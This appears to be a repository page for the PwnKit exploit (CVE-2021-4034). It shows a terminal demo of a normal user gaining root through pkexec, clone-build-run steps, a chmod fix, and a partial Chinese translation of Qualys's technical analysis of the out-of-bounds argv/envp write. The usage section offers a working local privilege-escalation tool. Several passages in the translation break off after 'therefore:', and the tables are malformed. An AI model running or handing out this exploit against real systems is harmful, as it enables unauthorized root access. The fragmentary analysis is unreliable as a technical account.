CVE-2021-4034
debian@debian:~/PwnKit-Exploit$ make
cc -Wall exploit.c -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit#
| 命令 | 用途 |
|---|---|
sudo chmod 0755 pkexec | 修复 CVE-2021-4034 |
git clone https://github.com/luijait/PwnKit-Exploit
cd PwnKit-Exploit
make
./exploit
whoami
| 命令 | 功能 |
|---|---|
make clean | 清理构建以测试修改后的代码 |
基于 blog.qualys.com
pkexec的main()函数开头处理命令行参数(第534-568行),并在路径不是绝对路径的情况下,在PATH环境变量指定的目录中搜索要执行的程序(第610-640行):
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
遗憾的是,如果命令行参数计数argc为0——意味着我们传递给execve()的参数列表argv是空的,即{NULL}——那么argv[0]就是NULL,即参数列表的终止符。因此:
那么,从越界的argv[1]中读取的到底是什么,写入的又是什么?
要回答这个问题,我们必须简短地绕个弯。当我们execve()一个新程序时,内核会将我们的参数、环境字符串及其指针(argv和envp)复制到新程序栈的末尾;例如:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
显然,由于argv和envp指针在内存中是连续的,如果argc为0,那么越界的argv[1]实际上就是envp[0],即指向我们第一个环境变量“value”的指针。因此:
所以,更精确地说:
如果我们的PATH环境变量是“PATH=name”,并且目录“name”存在(在当前工作目录中)且包含一个名为“value”的可执行文件,那么一个指向字符串“name/value”的指针会被越界写入envp[0];
或者
如果我们的PATH是“PATH=name=.”,并且目录“name=.”存在且包含一个名为“value”的可执行文件,那么一个指向字符串“name=./value”的指针会被越界写入envp[0]。
换句话说,这种越界写入允许我们向pkexec的环境中重新引入一个“不安全”的环境变量(例如LD_PRELOAD)。在main()函数被调用之前,ld.so通常会将SUID程序环境中的这些“不安全”变量移除。我们将在下一节利用这一强大的原语。
最后提醒:polkit也支持非Linux操作系统,如Solaris和*BSD,但我们尚未研究它们的可利用性。不过,我们注意到OpenBSD不可利用,因为其内核拒绝执行argc为0的程序。